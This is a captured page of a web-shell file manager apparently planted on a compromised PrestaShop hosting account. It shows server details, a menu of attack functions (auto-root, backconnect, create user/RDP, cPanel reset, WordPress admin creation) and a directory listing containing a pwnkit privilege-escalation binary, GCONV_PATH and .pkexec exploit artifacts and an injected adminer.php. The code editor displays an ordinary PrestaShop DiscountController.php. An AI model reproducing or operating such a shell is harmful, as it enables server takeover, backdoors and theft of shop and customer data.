Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.51
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
controllers /
front /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
listing
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
AddressController.php
5.44
KB
-rw----r--
AddressesController.php
2.57
KB
-rw----r--
AttachmentController.php
2.69
KB
-rw----r--
AuthController.php
4.47
KB
-rw----r--
CartController.php
25.16
KB
-rw----r--
ChangeCurrencyController.php
1.58
KB
-rw----r--
CmsController.php
8.03
KB
-rw----r--
ContactController.php
1.73
KB
-rw----r--
DiscountController.php
6.28
KB
-rw----r--
GetFileController.php
15.32
KB
-rw----r--
GuestTrackingController.php
5.63
KB
-rw----r--
HistoryController.php
4.01
KB
-rw----r--
IdentityController.php
3.18
KB
-rw----r--
IndexController.php
1.47
KB
-rw----r--
MyAccountController.php
1.82
KB
-rw----r--
OrderConfirmationController.ph...
5.33
KB
-rw----r--
OrderController.php
11.8
KB
-rw----r--
OrderDetailController.php
9.76
KB
-rw----r--
OrderFollowController.php
5.51
KB
-rw----r--
OrderReturnController.php
6.72
KB
-rw----r--
OrderSlipController.php
3.61
KB
-rw----r--
PageNotFoundController.php
2.03
KB
-rw----r--
PasswordController.php
12.31
KB
-rw----r--
PdfInvoiceController.php
2.85
KB
-rw----r--
PdfOrderReturnController.php
2.49
KB
-rw----r--
PdfOrderSlipController.php
2.13
KB
-rw----r--
ProductController.php
62.44
KB
-rw----r--
SitemapController.php
6.22
KB
-rw----r--
StatisticsController.php
3.28
KB
-rw----r--
StoresController.php
8.79
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DiscountController.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ class DiscountControllerCore extends FrontController { public $auth = true; public $php_self = 'discount'; public $authRedirection = 'discount'; public $ssl = true; /** * Assign template vars related to page content. * * @see FrontController::initContent() */ public function initContent() { if (Configuration::isCatalogMode()) { Tools::redirect('index.php'); } $cart_rules = $this->getTemplateVarCartRules(); if (count($cart_rules) <= 0) { $this->warning[] = $this->trans('You do not have any vouchers.', [], 'Shop.Notifications.Warning'); } $this->context->smarty->assign([ 'cart_rules' => $cart_rules, ]); parent::initContent(); $this->setTemplate('customer/discount'); } public function getTemplateVarCartRules() { $cart_rules = []; $customerId = $this->context->customer->id; $languageId = $this->context->language->id; $vouchers = CartRule::getCustomerCartRules( $languageId, $customerId, true, false ); foreach ($vouchers as $key => $voucher) { $voucherCustomerId = (int) $voucher['id_customer']; $voucherIsRestrictedToASingleCustomer = ($voucherCustomerId !== 0); if ($voucherIsRestrictedToASingleCustomer && $customerId !== $voucherCustomerId) { continue; } $cart_rule = $this->buildCartRuleFromVoucher($voucher); $cart_rules[$key] = $cart_rule; } return $cart_rules; } public function getBreadcrumbLinks() { $breadcrumb = parent::getBreadcrumbLinks(); $breadcrumb['links'][] = $this->addMyAccountToBreadcrumb(); $breadcrumb['links'][] = [ 'title' => $this->trans('Your vouchers', [], 'Shop.Theme.Customeraccount'), 'url' => $this->context->link->getPageLink('discount'), ]; return $breadcrumb; } /** * @param $voucher * * @return mixed */ protected function getCombinableVoucherTranslation($voucher) { if ($voucher['cart_rule_restriction']) { $combinableVoucherTranslation = $this->trans('No', [], 'Shop.Theme.Global'); } else { $combinableVoucherTranslation = $this->trans('Yes', [], 'Shop.Theme.Global'); } return $combinableVoucherTranslation; } /** * @param $hasTaxIncluded * @param $amount * @param $currencyId * * @return string */ protected function formatReductionAmount($hasTaxIncluded, $amount, $currencyId) { if ($hasTaxIncluded) { $taxTranslation = $this->trans('Tax included', [], 'Shop.Theme.Checkout'); } else { $taxTranslation = $this->trans('Tax excluded', [], 'Shop.Theme.Checkout'); } return sprintf( '%s ' . $taxTranslation, $this->context->getCurrentLocale()->formatPrice($amount, Currency::getIsoCodeById((int) $currencyId)) ); } /** * @param $percentage * * @return string */ protected function formatReductionInPercentage($percentage) { return sprintf('%s%%', $percentage); } /** * @param array $voucher * * @return array */ protected function accumulateCartRuleValue($voucher) { $cartRuleValue = []; if ($voucher['reduction_percent'] > 0) { $cartRuleValue[] = $this->formatReductionInPercentage($voucher['reduction_percent']); } if ($voucher['reduction_amount'] > 0) { $cartRuleValue[] = $this->formatReductionAmount( $voucher['reduction_tax'], $voucher['reduction_amount'], $voucher['reduction_currency'] ); } if ($voucher['free_shipping']) { $cartRuleValue[] = $this->trans('Free shipping', [], 'Shop.Theme.Checkout'); } if ($voucher['gift_product'] > 0) { $cartRuleValue[] = Product::getProductName( $voucher['gift_product'], $voucher['gift_product_attribute'] ); } return $cartRuleValue; } /** * @param array $voucher * * @return array */ protected function buildCartRuleFromVoucher(array $voucher): array { $voucher['voucher_date'] = Tools::displayDate($voucher['date_to'], null, false); if ((int) $voucher['minimum_amount'] === 0) { $voucher['voucher_minimal'] = $this->trans('None', [], 'Shop.Theme.Global'); } else { $voucher['voucher_minimal'] = $this->context->getCurrentLocale()->formatPrice( $voucher['minimum_amount'], Currency::getIsoCodeById((int) $voucher['minimum_amount_currency']) ); } $voucher['voucher_cumulable'] = $this->getCombinableVoucherTranslation($voucher); $cartRuleValues = $this->accumulateCartRuleValue($voucher); if (0 === count($cartRuleValues)) { $voucher['value'] = '-'; } else { $voucher['value'] = implode(' + ', $cartRuleValues); } return $voucher; } }
Close